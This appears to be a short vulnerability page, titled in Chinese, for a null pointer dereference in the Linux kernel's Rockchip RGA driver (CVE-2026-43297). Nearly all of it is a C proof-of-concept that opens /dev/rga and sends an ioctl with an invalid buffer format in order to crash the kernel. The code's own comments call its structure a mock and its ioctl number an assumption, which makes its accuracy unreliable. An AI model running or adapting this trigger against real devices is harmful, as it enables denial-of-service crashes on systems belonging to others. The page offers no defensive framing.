Linux内核Rockchip RGA空指针解引用漏洞

#include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Mock structure based on typical RGA driver interaction struct rga_buffer { unsigned long size; int format; // Setting an invalid format triggers the bug }; #define RGA_IOC_MAGIC 'R' // Assuming an IOCTL number that triggers rga_buf_init #define RGA_SET_BUFFER _IOW(RGA_IOC_MAGIC, 0x01, struct rga_buffer) int main() { int fd = open("/dev/rga", O_RDWR); if (fd < 0) { perror("Failed to open /dev/rga"); return 1; } struct rga_buffer buf; buf.format = 0xDEADBEEF; // Invalid buffer type to force ERR_PTR return buf.size = 0; // Trigger the vulnerability: rga_buf_init -> rga_get_frame -> ERR_PTR dereference printf("[+] Attempting to trigger CVE-2026-43297...\n"); if (ioctl(fd, RGA_SET_BUFFER, &buf) < 0) { perror("IOCTL failed (Kernel might have crashed)"); } close(fd); return 0; }